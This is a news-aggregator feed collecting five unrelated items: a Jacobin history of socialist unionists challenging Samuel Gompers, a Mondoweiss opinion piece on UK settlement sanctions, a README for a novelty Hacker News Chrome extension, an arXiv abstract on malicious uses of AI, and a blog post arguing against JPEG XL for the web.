The Socialist Labor Unionists Who Took On Samuel Gompers

Portside
portside.org
2026-09-13 22:36:55
The Socialist Labor Unionists Who Took On Samuel Gompers Ira Sun, 09/13/2026 - 22:36 ...
Original Article

Samuel Gompers’s vision of capitalist-friendly unionism and political pragmatism largely dominated the labor movement throughout the twentieth century. | Sepia Times / Universal Images Group via Getty Images

"We have started on a great big national fight with the union movement at stake!” Max Hayes, socialist newspaper editor and union leader, thundered to the assembled representatives of Cleveland, Ohio’s labor movement in the fall of 1909. “The American Federation of Labor will stand or fall as events issue.”

The delegates roared their approval, setting in motion a decisive battle for the soul of organized labor. On one side were Cleveland’s radical left-wing workers, led by Hayes; on the other, the AFL, led by archconservative President Samuel Gompers. At stake was the meaning of solidarity, union democracy, and the future of labor politics — whether the American labor movement would continue to be dominated by conservative business unionists or embark on a revolutionary anti-capitalist path. Though their fight is little remembered today, the socialists came very close to winning. Their ultimate defeat had fateful implications for American unionism in the decades that followed.

“Little Napoleon” and the Socialist Three

M ax Hayes was a fitting spokesman for the Cleveland workers. In 1887, the city’s central labor council adopted a radical Declaration of Principles that called for the “emancipation of the working classes” and implored workers not to vote for the “political parties of the capitalists.” Hayes would later recall that “with few exceptions the officers and active delegates of the central body became adherents of the People’s (Populist) and Socialist Labor parties.” Cleveland’s labor council provided a platform for all manner of radicals, including inviting renowned anarchist Emma Goldman to a meeting in 1897. Socialists held key officer positions and ran the Cleveland Citizen , the city’s main labor newspaper. They were the voice, brain, and heart of the city’s labor movement.

The typographical worker, newspaper editor, and Socialist Party–affiliated labor organizer Max Hayes, circa 1920.

Three socialists in particular played a key role — one of their enemies would dub them the “Socialist Three.” Robert Bandlow, a German-born typographical worker (or “typo”), cofounded the labor council and the Citizen . Harry Thomas, a Welsh-born carpenter, was both the lead organizer for the labor council and a Socialist Party delegate to the 1912 Ohio Constitutional Convention.

Hayes, another typo, born in Ohio to immigrant parents, was the third and by far the most famous. In addition to editing the Citizen , Hayes helped organize the Socialist Party of America, wrote and spoke for an international audience, and led the radical opposition movement within the national AFL beginning in 1898.

The record of the Socialist Three was impressive. Under socialist leadership, the labor council grew from a clique of around a half-dozen unions in 1887 to a federation of over one hundred locals by 1902. Hayes led an audacious typo strike in 1905 that won an eight-hour workday. The Citizen uncovered a corporate spying ring, then caused a scandal by exposing the union-busters running William McKinley’s 1896 presidential campaign. Cleveland’s radical working class was a key source of support and leftward pressure for Mayor Tom Johnson, a progressive Democrat who championed union labor and vastly expanded public services during his “nine years’ war with privilege” from 1901 to 1910. Hayes and Thomas drafted Ohio’s workman’s compensation law in the Citizen office.

The AFL, meanwhile, had been dominated by Samuel Gompers since its founding in 1886. Gompers, a British immigrant and onetime Marxist, came through decades of bitter experience to believe only in what could produce immediate, tangible results. His strategy was “pure and simple unionism,” what we would today call business unionism: using economic pressure to extract concessions from employers rather than fighting to replace the capitalist system. To the extent that he engaged in politics, it was to “reward our friends and punish our enemies” rather than to try to build an independent labor politics.

Gompers’s achievements were also impressive. By 1905, the AFL had grown from a few hundred thousand to around two million workers and had won significant gains for its members. But those gains were not shared by much of working class. Rather than industrial unions, which represent all workers in a particular industry, the AFL was largely composed of craft unions, which represented only decently paid skilled workers and excluded the unskilled majority. While this maximized labor’s economic leverage, it also led to unions that were insular, elitist, and often excluded immigrants and people of color.

To socialists like Hayes, the AFL was failing to live up to its role as the representative of the American labor movement. Craft unionism destroyed solidarity and abandoned millions of workers. “Pure and simple” efforts to win economic concessions could never free the workers from the ravages of automation and the business cycle. The socialists believed political action was essential — and not just endorsing the most “pro-labor” candidate in any given election but building a political movement that truly represented working-class interests. That movement, according to Hayes, was the Socialist Party, which was rapidly growing into the most successful socialist political movement in US history.

Hayes and Gompers traded attacks throughout the 1890s and 1900s. Hayes called the compact AFL President “Little Napoleon,” accusing him of using his power to squash dissent and stifle the aspirations of the rank and file. Gompers retorted that Hayes was a phony trade unionist scheming to place the labor movement under the domination of the Socialist Party. “I am a trade unionist; he thinks he is,” Gompers said of Hayes in 1903.

The momentum seemed to be on Hayes’s side. By 1909, after years of socialist agitation, corporate intransigence, and government repression, the left-wing alternative was gaining strength. The AFL’s growth slowed to a crawl, leading many to question Gompers’s leadership. Around that time, rank-and-file revolts overthrew the conservative officers of the International Association of Machinists, the United Mine Workers of America, the United Brotherhood of Carpenters and Joiners, and the Journeyman Tailors Union, to name just a few, with Socialists frequently taking their place. The AFL already included a few industrial unions — most notably the Brewery Workers and the Mine Workers — and many others hoped to follow their example.

The demand for socialist political action was growing, as was the demand for organization along broad-based industrial lines. But Gompers still wielded the power of the presidency. And he set his sights on Cleveland.

The Big Guns

T he leadership of the Socialist Three in Cleveland never went uncontested. A vocal minority criticized them for, as they saw it, wasting the labor movement’s time on divisive and quixotic political campaigns rather than focusing on “pure and simple” unionism. These critics repeatedly attempted to dislodge the Socialists from leadership.

In 1906, the conservatives — with the help of an organizer dispatched from the AFL — even managed to temporarily wrest control of the Citizen from Hayes and Bandlow and revoke the radical Declaration of Principles. But the Left put the question to a membership referendum, which delivered an overwhelming victory for the Socialist Three. “So far as the Citizen is concerned,” Hayes declared in the Citizen after the vote, “this announcement closes the chapter on the labor book.”

But he must have known it was only a matter of time before the conservatives tried again. In 1909, Samuel Gompers gave them their biggest opening yet.

That year, the crisis within the AFL reached its climax over a leadership struggle within the International Brotherhood of Electrical Workers. The AFL recognized the conservative incumbent faction and ordered all affiliated bodies to do the same. But Cleveland’s labor council, then called the United Trades and Labor Council (UTLC), backed a rival faction that had the overwhelming support of the rank and file. As Harry Thomas explained, Cleveland would uphold the “inalienable right of the members to revolt against International officers who are wrongfully carrying out the purposes of the organization” as well as “the inalienable right of majority rule.”

The AFL’s response was aggressive and unprecedented. The national executive board summarily revoked the charters of state and local labor bodies across the country that defied its orders. That included Cleveland’s UTLC.

A group of Cleveland conservatives then sprang into action. They announced that they were leaving the UTLC and launching a new, rival organization: the Cleveland Federation of Labor (CFL). Gompers promptly granted a charter to the secessionists.

“God help the labor unions of America if their conditions of government continue as they are,” Hayes raged when the delegates of the UTLC gathered to plan their next move. The UTLC refused to abandon the electrical workers or give up its charter, and Hayes was sent to take up its cause at the 1909 AFL Convention.

As the delegates gathered in Toronto, all eyes were on Hayes. The press and conservative unionists spread rumors that Hayes was manipulating the entire crisis to destroy the AFL and place himself at the head of an independent labor federation. The accusation was ironic, given that the major existing independent labor federation — the Industrial Workers of the World — had invited Hayes to join and he had rejected it in favor of working within the AFL.

“It makes me laugh to note how the big guns and all their little agents watch me like a cat watches a mouse,” Hayes wrote his wife from the convention. “Whenever I move and talk to anyone their little eyes follow and sometimes there are ears near to catch words that may be dropped . . .  they seem to fear that I am trying to steal the unions and move them into Socialist headquarters in Chicago.”

Hayes and his Socialist comrades had a different plan: instead of destroying the AFL, take it over. And they came close. In fact, this might have been the closest Gompers came to losing the presidency in over a decade. The labor movement was in an uproar after Gompers overplayed his hand to squash the electrical workers, and a well-organized Socialist faction within the AFL planned to harness the backlash to finally overthrow Little Napoleon. A group of Socialist delegates asked Hayes to challenge Gompers, and he wrote to his wife that he was strongly considering it.

But Gompers was saved — by a prison sentence. News reached the convention that Gompers would likely have to report to prison for defying a labor injunction. Labor closed ranks behind its besieged leader, and the Socialists decided it would be counterproductive to attack Gompers in such a sensitive moment. “After numerous conferences were held,” Hayes recalled, “it was agreed that an attack upon the administration at this juncture would be misinterpreted — that the votes of the opposition would be twisted into an endorsement of the judicial decrees committing the labor officials to prison.” And in a cruel twist, the convention voted to reconsider the electrical workers’ case, but not the cases of the labor councils, like the UTLC, that sacrificed their charters on their behalf.

Yet the UTLC remained defiant when Hayes returned to Cleveland. Members held out hope that their charter could be restored. But their position weakened over the next several months. Member unions were pressured to join the recognized conservative labor council, and they gradually broke from the UTLC.

In April 1910, the UTLC voted to join the CFL en masse, hoping to overpower the conservatives. But at the decisive CFL meeting, the Socialists lost every major vote. The conservatives were now in charge. “After having endured the overbearing rule of the Socialist three, Hayes, Thomas, and Bandlow, for too long,” a leading conservative boasted, “the unions of Cleveland have declared themselves by starting a central body free from politics.”

The Left Defeated

I t was not yet the end of Cleveland’s left-wing labor movement. But the monthslong standoff was deeply damaging to the Socialists’ reputation. Within three years, Thomas and Bandlow both died, depriving the movement of two of the Socialist Three. In 1918, Hayes wrote that a comrade wished that he could “bring the movement back to where it was when Bandlow, Thomas and I gave it some prestige.” As its radical conscience dimmed, its leaders grew pragmatic, conservative, and, in some cases, compromised. It was no coincidence that the leader of the CFL secession was caught soliciting ads from union-boycotted firms for his own labor newspaper soon after the CFL-UTLC reunification.

Nationally, rank-and-file revolts continued over the next several years, and Gompers continued to fear Hayes. But he wouldn’t again pose such a dire threat to Gompers’s leadership. Hayes ran a symbolic campaign against Gompers in 1912, drawing a respectable third of the vote but never threatening to actually win. The socialist opposition in the AFL weakened as the Socialist Party suffered from infighting, until it was largely purged amid the First Red Scare and a disastrous strike wave in the early 1920s.

Still, this should not obscure how close Hayes actually got. Had Gompers not been sentenced to prison (a sentence that the Supreme Court ultimately intervened to prevent from being carried out), there was a real chance that Hayes could have unseated him — putting a Socialist in charge of the AFL, the bastion of conservative business unionism. It is a reminder that the American working class, often thought of as docile and or even reactionary compared to its overseas counterparts, was the same working class that shut the country down with mass strikes in 1877, 1886, and 1894; that, in many parts of the country, enthusiastically backed the Socialist Party; that repeatedly ousted the leadership of mighty international unions. It is the same working class that today has withstood five years of union-busting by Starbucks executives, reversed decades of concessions to the United Parcel Service and the Big Three automakers, and defied murderous federal occupations in Los Angeles, Memphis, Minneapolis, and elsewhere.

Gompers’s vision of capitalist-friendly unionism and political pragmatism largely dominated the labor movement over the next century. After a surge of labor militancy and the rise of industrial unionism in the 1930s and ’40s helped produce the New Deal and led to the organization of a third of American workers, Gompers-style unionism reasserted itself in the wake of the Second Red Scare, contributing to the decline of organized labor — which today is weaker than it has been since Max Hayes’s time. But the struggle of the Cleveland workers reminds us that it didn’t have to be this way — nor does it have to stay this way.


Philipp Corfman is a union-side labor attorney based in Cleveland, Ohio. He also writes about legal issues, current events, and labor history.

Jacobin is a leading voice of the American left, offering socialist perspectives on politics, economics, and culture. The print magazine is released quarterly and reaches 75,000 subscribers, in addition to a web audience of over 3,000,000 a month.

today, get four beautiful editions a year, and help us build a real, socialist alternative to billionaire media. Sign Up for Jacobin's mailing list.

Are the UK Sanctions on Israel Real Progress, or More Illusion?

Portside
portside.org
2026-09-13 22:19:31
Are the UK Sanctions on Israel Real Progress, or More Illusion? Ira Sun, 09/13/2026 - 22:19 ...
Original Article

The United Kingdom, joined by Canada and France, announced this week that they are taking action against Israeli settlements in the West Bank. It’s an announcement that is at once groundbreaking and insufficient.

Specifically, the UK said it would suspend export licenses for weapons materially supporting Israel’s illegal occupation; ban imports of Israeli settlement goods, and; sanction private companies providing services–including financial services–that enable settlement expansion.

Those are, without a doubt, positive steps. They break with the long-standing western practice of empty condemnations of settlement activity without establishing any consequences if Israel continues that activity.

The fact that the sanctions the UK announced could include firms that provide services that support the expansion of settlements is also a meaningful and groundbreaking step. It widens the scope of actions that can be taken to prevent settlement expansion to areas that are much easier to influence than Israeli settlers themselves, especially in the field of finance.

In explaining these sanctions to the House of Commons , UK Foreign Secretary Ed Miliband bolstered accusations of war crimes against Israel and even described its actions on the West Bank as “ethnic cleansing.”

That is perhaps the most important development here. A major ally of Israel, one which is often said to have its own “special relationship” with the United States, is supporting the decision of the International Court of Justice that declared Israel’s occupation of the West Bank and Gaza illegal.

That could profoundly change the international discourse regarding the politics around not just settlements but the occupation as a whole.

These are unquestionably good things, and represent real progress, coming from a sector that has been so complicit with Israeli crimes and so hypocritical in ignoring the yawning gap between British rhetoric on the issue and its actions.

But the enthusiasm in some quarters over this announcement is overblown. There is a need to pump the brakes and prepare for a much greater push that can capitalize on this promising first step, address its shortcomings, and create something impactful.


What’s missing in the UK statement

Obviously, we cannot expect the United Kingdom to go from a regressive, genocide-enabling policy to one that promotes real justice and hope in one day. Since that is too much to ask, we need to be clear-eyed about what is still needed, not to chastise Miliband or his new boss, Prime Minister Andy Burnham, but to encourage and push them to go much further.

The exclusive targeting of settlements means that expansion will be more costly for Israel and that settlement enterprises themselves would face barriers to their income.

That’s great, but it is also already international law and, ostensibly, the policy of both the UK and the European Union. The problem is not the rules, it’s their enforcement.

The sanctions on settlements will not go into effect for six to nine months, and we can be sure that legal and political challenges will be mounted by Israel and its British supporters to maximize the delay.

During that time, the momentum and political urgency driven by this announcement could fade. If it becomes less politically convenient to enforce the sanctions, it would be very much in keeping with long-standing British and European practice to ignore them.

Then there is the matter of the efficacy of sanctioning only the settlements, not the state.

Back in June, the Global Echo Litigation Center released an illuminating report detailing the many ways settlement products evade regulations on labeling their point of origin accurately, making it more difficult to police their sale. It’s a system that is easily gamed.

As I reported at the time , “For years, it’s been widely known that Israel exports products, chiefly agricultural, from its settlements on the West Bank and the Golan Heights under a ‘Made in Israel’ label. It does so even though it is legally required by the European Union and the United Kingdom to label such products as being from settlements.”

Given the volume of world events and the speed of the news cycle these days, it is easy to imagine that, in nine months or more, the burden of policing false labeling and other deceptive practices would be more than the UK would want to undertake.

It’s also important to note that the ban on weapons is somewhat selective. One of the most crucial items Israel imports from the UK, albeit indirectly, are components of the F-35 fighter jet, a plane commonly used for airstrikes in Gaza. Those components were excluded from the weapons ban.

Indeed, Miliband’s wording on weaponry in general was very vague. “We will now also refuse all license applications for arms and other exports that materially contribute to the occupation…”

Like cutting off money to the settlements, arms sales are fungible. Many arms Israel uses in military operations which are not covered by this ban are also used in the settlements. Such laws, which already exist in the UK, the EU, and the United States, have not been barriers to Israel arming itself to the teeth through western largesse. Nothing in Miliband’s statements indicates a fundamental change in that travesty is certain.

The false separation between the Israeli state and Israeli settlements

Israel has long since stopped trying to pretend that the settlement project is not fully part of state activities. The Israeli army openly escorts settlers on their pogroms. The Knesset retroactively legalizes so-called “outposts” that settlers simply put up on Palestinian land. Indeed, the military regularly confiscates Palestinian land, labeling them “closed military zones” or some other title before breaking ground on new settlements there.

Yet Miliband insists on limiting the penalties to the settlements themselves. He intends to sanction ”particularly violent settlers,” but not the Israeli leaders—up to, and including, the prime minister—who enable their activities.

His speech to the House of Commons explaining this “reset” in UK policy toward Israel was prefaced by a long-winded exposition of his love for Israel. But more concerning was his explicit refusal to target the state that is, after all, intentionally pursuing the policies that are bringing these sanctions.

“The sanctions regime will target illegal settlements and settlement expansion, not Israel,” Miliband said. “We will continue to support important and valued trade with green line Israel precisely because we support the two-state solution, including security and prosperity for Israel. For this reason, I wholeheartedly oppose the Boycott, Divestment, Sanctions or BDS campaign.”

That strategy is doomed to fail. Beyond the question of enforcement of these new rules, sanctioning the settlements simply doesn’t have much impact. Settlement exports are a very small part of trade between the UK and Israel.

In 2025, according to the UK government’s reports, trade between the two countries totaled approximately $8.1 billion. While it is impossible to know exactly how much trade was done with the settlements because of the evasion practices discussed above, UK records show only about $8 million of imports from Palestine, which includes the West Bank, whatever drips out of Gaza, and the settlements.

Clearly, the trade from settlements is tiny. But the fact is that the settlements are not isolated from Israel. Many firms operating in the settlements are simply parts of larger Israeli companies. Most financing for those companies isn’t specifically sent to a “settlement” business.

Settlers themselves are not worried about this . They know they can find alternative recipients for their goods or, failing that, other ways to make a living. The unending support of the state reassures them, and they’re right to feel that way.

Limited vision

Miliband’s fear of this UK action being seen as a contribution to the BDS movement is also irrational. Whether he likes the movement or not, these are the sort of sanctions BDS activists want to see put in place, although they certainly want them broader, targeted at the state, and with more bite.

His approach to presenting these sanctions reflects another potential flaw in their implementation.

The sanctions were prompted not by a realization that years of UK policy in Palestine and Israel had dismally failed to make any progress toward ending the occupation or stabilizing the region.

No, they were prompted by Israel pushing the envelope, as it has so often done. The government of Benjamin Netanyahu knows well that construction in the E-1 corridor —which would, if completed, bisect the West Bank and shatter the last remaining illusion that a two-state solution is possible—is a red line for the Europeans, and would be so for a more rational American government as well. They also know that the escalated settler violence has prompted negative reactions around the world.

Netanyahu and his cronies are trying to see what they can get away with. Issuing tenders for construction in E-1 is something Israel has threatened to do for decades. They’ve always been forced to back off.

But they have, in the last few years, been able to get away with actions they had previously thought too provocative, such as the complete destruction of Gaza and the genocide of the people there. They have even managed to finally talk the United States into a suicidal war with Iran.

So why not see if they can finally get away with cutting the West Bank in half and putting paid, once and for all, to any Palestinian aspirations for a state?

These sanctions are Britain’s response to that. Even the United States, which routinely screams almost as loud as Israel at any hint of pressure on its Israeli ally, has been relatively quiet about this.

While the Christian Nationalist Ambassador to Israel, Mike Huckabee threatened potential consequences, Secretary of State Marco Rubio, who actually matters in this regard, sounded a more conciliatory note : “We heard their arguments as to why,” Rubio said. “But look, we share the goal of stability. We don’t want to see some uptick in violence or an uptick in conflict or tensions in the West Bank at a very tenuous time in the region. But beyond that, as of this moment, we don’t have any further comment.” Neither he nor Donald Trump have said anything more.

This indicates that they are waiting to see if Israel backs off of the construction in E-1 in response to British pressure. There’s a good chance that this will happen, and, if it does, an equally good chance that the UK will back off from its sanctions.

That’s by no means inevitable. By invoking the ethnic cleansing of the West Bank and stating its support for the ICJ’s 2024 ruling, on top of recognizing the State of Palestine last year, the UK has made real progress.

But it’s not irrevocable progress, and Miliband’s own words contain both the promise that something can really change here, and the possibility that Britain will back off, especially if Israel agrees not to take any more steps in E-1 for a while and confines its killing and terrorizing of Palestinians to its security forces instead of the settlers.

Supporters of Palestinian rights—in the UK, the United States, and Europe—can all contribute a lot to pushing the Burnham government forward rather than back. One thing this recent announcement does show is that having been supported by Canada and France, if the UK does take more positive steps, they will be magnified by others.


Mitchell Plitnick is the president of ReThinking Foreign Policy and a frequent writer on the Middle East and U.S. foreign policy. He is the former vice president at the Foundation for Middle East Peace, director of the U.S. Office of B'Tselem, and co-director of Jewish Voice for Peace. He lives in Maryland.

Mondoweiss is an independent news organization that informs readers about developments in Israel/Palestine and related U.S. foreign policy. We provide news and analysis regarding the struggle for Palestinian human rights that is unavailable through mainstream media.

Founded in 2006 as a personal blog of journalist Philip Weiss, Mondoweiss grew inside the progressive Jewish community and has become a critical resource for the movement for justice for Palestinians. We continue to follow debates over the role of Israel and nationalism in Jewish American life while seeking to reflect a diverse community of views on issues of international importance. We recognize that Jewish voices are often prioritized in discussions of Israel and seek to challenge that dynamic by bringing a universalist focus to an issue that is commonly dominated by narrow points of view.

We publish original on-the-ground reporting, analysis by scholars, and personal stories. As the site has grown, we have developed a large group of regular contributors who are committed to high journalistic standards of documentable evidence and reliable sourcing.

Mondoweiss editors select content for the site based on our shared commitment to news professionalism and justice for Palestinians. We do not have a single editorial position on specific issues but aim to build a diverse online community, with a special focus on viewpoints generally ignored by large media outlets. Writing published on Mondoweiss represents the views of its authors and does not necessarily represent the site’s or its editors’ opinions.

Mondoweiss maintains complete editorial independence from donors and financial supporters, who have no influence on the direction or content of our reporting.

Support Mondoweiss’s independent journalism

Mondoweiss is only able to continue with the support of its readers. The website is part of The Center for Economic Research and Social Change , a 501(c)(3) organization, and contributions to which are tax-deductible to the extent provided by law.

You can make an online tax-deductible donation here , or if contributing by mail, make your check payable to “Mondoweiss” and send it to:

Mondoweiss
P.O. Box 442380
Detroit, MI 48244

Show HN: Is It Greg?

Hacker News
github.com
2026-09-13 21:58:41
Comments...
Original Article

Greg, wobbling with joy

A tiny Chrome extension that highlights Hacker News submissions linking to greg.technology or any of its subdomains, as well as stories and comments posted by Greg himself ( gregsadetsky ).

Matches get a small orange Greg badge (with his face on it), and Greg turns up dancing in the corner of the page with a tally of how many of him are on it.

What it looks like

Greg sweeps the front page, flagging stories that link to greg.technology or that he submitted:

Greg's face sweeping across the Hacker News front page, revealing Greg badges in its wake

His comments get flagged too:

A Hacker News comment by gregsadetsky with the Greg badge next to his username

Hovering a badge explains itself, with Greg dancing alongside the reason:

Greg, dancing

And whenever there's at least one Greg on the page, he turns up dancing in the bottom-right corner. Click him and he throws more Gregs across the screen. The little orange count is its own button — click that to jump to the next sighting on the page.

(With "reduce motion" turned on he holds still, and the thrown Gregs fade in and out where they land instead of flying.)

Install

  1. Open chrome://extensions .
  2. Turn on Developer mode (top right).
  3. Click Load unpacked and select this repository's directory.
  4. Browse Hacker News . Try /from?site=greg.technology to see it in action.

No build step, no dependencies, no permissions beyond running on news.ycombinator.com .

The Malicious Use of Artificial Intelligence

Hacker News
arxiv.org
2026-09-13 21:22:35
Comments...
Original Article

View PDF

Abstract: This report surveys the landscape of potential security threats from malicious uses of AI, and proposes ways to better forecast, prevent, and mitigate these threats. After analyzing the ways in which AI may influence the threat landscape in the digital, physical, and political domains, we make four high-level recommendations for AI researchers and other stakeholders. We also suggest several promising areas for further research that could expand the portfolio of defenses, or make attacks less effective or harder to execute. Finally, we discuss, but do not conclusively resolve, the long-term equilibrium of attackers and defenders.

Submission history

From: Miles Brundage [ view email ]
[v1] Tue, 20 Feb 2018 18:07:50 UTC (1,400 KB)
[v2] Sun, 1 Dec 2024 17:59:04 UTC (1,400 KB)

The case against JPEG XL

Lobsters
giannirosato.com
2026-09-13 21:18:11
Comments...
Original Article

Investigating JPEG XL's place as a Web image codec.

Caustics

Why?

JPEG XL is a technically impressive image codec; it is a definitive upgrade over JPEG, more versatile than WebP, and well-equipped to serve use cases beyond the Web. However, it was famously rejected from Chrome in 2023. Because this happened to a royalty-free, flexible, compression-efficient codec from the JPEG Committee that was receiving attention from large companies, the decision didn't land well with many.

Recently, a JPEG XL decoder in Rust has made its way into Firefox and Chrome in some capacity. The Web's major stakeholders may therefore be reversing course on JPEG XL given that the new decoder may protect the Web from reliving 2023's WebP vulnerability . Is this all it took to justify JPEG XL for the Web?

Historically, I've been a big proponent of JPEG XL for all use cases. I endorsed JPEG XL for Interop 2024, and I've interacted with Jon Sneyers and Jyrki Alakuijala (two of the format's primary authors) personally many times. I'm consistently impressed with their public conduct, level-headedness, technical aptitude, and passion for the field.

This piece does not seek to discredit the format's authors or their work, nor to claim any political affiliation relative to the codec's symbolism in free software. The spirit of this post is educational; I want to offer an empirical look at the current state of image compression and the Web platform in 2026. Some inspiration is drawn from RISC-V: They Should Have Known Better by Dmitry Grinberg.

The Web

I do image compression work , coming from video compression originally. While working on an AV1 encoder , Julio Barba and I made significant advancements to AVIF , and I learned a lot in the process. When I decided to start building my own encoder , I had to think very hard about which formats I felt had the highest ceilings, could be effectively optimized, and had the most present and potential utility. I decided not to work with JPEG XL.

By volume, there are very few use cases on the Web that aren't served by versatile lossy compression. The average Web consumer doesn't need lossless; they just need a lossy codec versatile enough to prevent terrible artifacts (e.g. JPEG on non-photographic content). This rules out JPEG XL's lossless advantage, which in practice is only roughly 11.9% smaller than lossless WebP anyway – and on an unrealistic test dataset for the Web (157 MP photos, 10 MP illustrations, and 27 MP books). It cannot be worth bringing a new image codec to browsers to save 12% on a tiny volume of image content with use cases inherently less sensitive to bandwidth constraints. I say this because JPEG XL isn't competitive for lossy, so lossless would be its only real advantage.

Lossy Compression Efficiency

One of the original arguments for JPEG XL was that its reference encoder was more perceptually optimized than competing encoders. Now, on both speed and fidelity per bit, other encoders are stronger.

The AV1 reference encoder received specialized perceptual tuning based on controlled subjective human trials to strengthen its efficiency while maintaining a tuning mode optimized for perceptual metrics. SVT-AV1 has similar tuning modes. There is no compelling argument that modern encoders aren't tuned for the human eye.

Metrics aren't perfect, but they paint a daunting picture for JPEG XL:

aperture-alpha is Halide Compression's upcoming encoder, codenamed Aperture. I included it to show just how much ground libjxl needs to make up to compete at the frontier.

Some analysis claims that JPEG XL underperforms in metrics relative to its perceptual strength, but I don't see sufficient evidence that this is to the degree that graphs like the ones I shared could be secretly completely reversed. CVVDP and SSIMULACRA2 are very strong perceptual metrics, and definitely tell us something when the differences are this great. For AVIF, libaom's perceptually optimized tune (tune IQ) is only a couple of points lower than its perceptual-metric-optimized tune (tune SSIMULACRA2). Plus, the JPEG XL reference encoder has historically suffered from percep tual issues that remain largely unresolved.

There's no such thing as a codec benchmark, only an encoder benchmark; in theory, the ceiling for JPEG XL as a format is higher than libjxl is getting. But how hard would it be to close the gap? As a compression engineer, I believe it is disadvantaged here. Some reasons:

  • JPEG XL doesn't have directional prediction modes. Compressed images are divided into VarDCT blocks (from 2x2 up to 256x256) and transformed into frequency representations of their pixels. Other block-based image codecs like WebP let you predict a block's pixels using surrounding data, subtract this prediction from the actual pixels, and then do the frequency transform. Directional prediction modes can result in blur if your encoder isn't perceptually optimized, but strong mode-decision pipelines can pick the right mode for the job and save lots of bits. For example, edge preservation is stronger in codecs with directional pred, while JXL is weaker here.
  • The proposed solution for the edge-preservation gap is splines, which are vastly more difficult to use. The hard part is on the encoder side: you need an efficient algorithm to figure out which pixels can even be represented as a spline, then feed every candidate through RDO to decide whether it's worth coding. There's no existing PoC for using splines for edge preservation, and I have no reason to believe they'd be better than dir-pred anyway.
  • JPEG XL doesn't have deblocking loop filtering (DLF), or any deblocking filter. It does have two in-loop tools that are sometimes offered as partial equivalents: gaborish, which is the closest thing JXL has to AV1's loop restoration filtering, and EPF (edge-preserving filter), whose closest analogue is AV1's CDEF. Neither is a deblocking filter, and the two together can't fully replace proper DLF. The DLF can smooth images out, but if your encoder is smart it will only help you avoid mosquito noise, which JPEG XL still suffers from.
  • JPEG XL's perceptual "XYB" colorspace is based on a lot of intuition, and doesn't always translate to gains in other formats (like JPEG) even when metrics like SSIMULACRA2 work in the exact same colorspace. The claimed efficiency savings from using XYB also aren't as big as originally advertised because libjxl currently relies on aggressively quantizing the B channel. This has resulted in subpar color preservation, which new JXL encoder developers must explicitly undo.
  • JXL does poorly with non-photographic images. The proposed solution is using patches, but they are more difficult to use than AV1's Intra Block Copy.
    • To get a similar range of expressiveness to IntraBC, the encoder has to deal with additional concepts like layers and blending, which aren't cheap to represent at the bitstream level.
    • Residual coding is awkward. With AV1, you predict a block, subtract the prediction from the source, and the transform coefficients naturally represent the residual. With JXL's construction, you decode a residual frame and then blend a reference patch, so you need an actual frame or layer whose decoded pixels represent the residual. That would likely be a Modular frame, which is interesting because Modular isn't restricted to conventional unsigned image values the way the final rendered image is.
    • An IntraBC block essentially costs a motion vector plus residual coefficients, whereas a JXL construction potentially costs a reference frame, a frame header, a crop, blend information, a patch dictionary entry, patch coordinates, and a residual frame. That overhead can overwhelm the savings unless the repeated region is fairly large or reused many times.
    • Patches have to be explicitly enabled in libjxl below effort 7 because they currently have performance issues.

For non-photographic images, the argument that “they should be vector images” doesn't hold up because many images could be vector images but aren't, and they can't be vectorized perfectly. “The world should be different” is not a justifiable defense against optimizing for the way the world actually is.

It is tempting to think these points mean the ceiling is higher than libjxl lets us reach and that we could do better, but I'm not confident it can eclipse well-optimized AVIF encoders quickly, given its less intuitive (and potentially weaker) coding tools.

Decode Time

JPEG XL has an impressively flexible specification. In addition to its coding tools, it supports up to 4096 channels, arbitrary color depth, progressive decode, JPEG recompression, and more. Many of these features are not broadly useful on the Web; you need 4 channels (RGB/YUV + alpha), reasonable color depth to support HDR (10-bit is fine), and the ability to load quickly.

Progressive rendering (which AVIF supports) decodes a low-fidelity rendition before the full image arrives. AVIF didn't support progressive rendering for a while, and during that time I believe it was deeply oversold. Now that libavif has implemented it (it was always possible), the conversation appears to be over. I think this is because the results speak for themselves:

AVIF Progressive Decode

This is from the JPEG-XL info site , where AVIF shows a usable image much earlier than JXL at just ~2-3% of the full image's size. Combined with the fact that the AVIF is smaller overall, this is an easy win. I've screenshotted the page because the AVIF progressive decode only works in Chrome, as it is using the browser's native decoder; JPEG XL uses a polyfill because even in Safari where it is supported, progressive decode isn't.

JPEG recompression is the ability to losslessly re-encode JPEGs as JXL images while saving bits; the oft-cited number is 20% savings. However, the user pays for this in decode time, as recompressed JPEGs take ~33% longer to decode. Modern consumer devices are powerful, but the argument that the savings come “for free” is misleading.

On that topic, decode time is not competitive with the best:

Decode Time

In public discourse, AVIF is considered slow to decode; what does that make JXL? This is also a 10-bit AVIF, and all images were size-matched encodes of the same source. The JPEG was 2,478,828 bytes, the JPEG XL was 2,599,428, the AVIF 2,649,949, and WebP 2,693,794. WebP is over 90kb larger and still manages to decode over 10x faster than jxl-rs with wpd .

Due to the codec's expressivity, it is possible to craft images that take obscenely long to decode. Take this example (open with caution) that computes primes up to 33,599 and takes 17.43s of user time to decode on my M5 Pro with the Rust decoder. Additionally, keep in mind that this is the decoder making its way into Chrome, Firefox, etc – the prime wall image is just 1,918 bytes, so it's about to become trivially easy to JXL-bomb low-end devices. You can already ship a couple dozen of these on a Web page and slow Apple devices down, as they natively support JPEG XL in Safari.

Conclusion and Opinion

I believe Web codecs should be purpose-built, efficient, and narrowly scoped to the needs of the Web. I think WebP was a bit too narrowly scoped, but the idea was there; AVIF's container could be better, and the AV1 spec could be a bit more specific about handling certain properties of images (e.g. normative 4:2:0 upsampling), but AVIF was always a guaranteed addition to the Web due to AV1 and benefits from a very mature ecosystem.

Do we need JPEG XL then? It isn't narrowly scoped whatsoever; it is meant to be everything to everyone, by design. I think a lot of other use cases need this, but the Web needs to save bandwidth, decode fast, and prevent foot-guns; I don't see how JPEG XL is even as good a fit as WebP. Not to mention an additional compatibility headache now exists for anyone just trying to download an image from the Internet and use it somewhere – it was hard enough to get widespread WebP adoption, and I don't think it's worth doubling the pain by having to climb the same hill for AVIF and JPEG XL. Especially when JPEG XL doesn't appear to add anything to the Web platform.

3½ years ago , I said:

I want a web where both AVIF and JPEG XL can exist, and developers decide which format to use for its merits. [...] In my opinion, JPEG XL and AVIF have fundamentally different strengths which lend them to different use cases.

At the time, JPEG XL was a much stronger contender for medium-high fidelity lossy image compression. AVIF now dominates the entire fidelity range, so JPEG XL's one real advantage has disappeared.

Full Fidelity Range

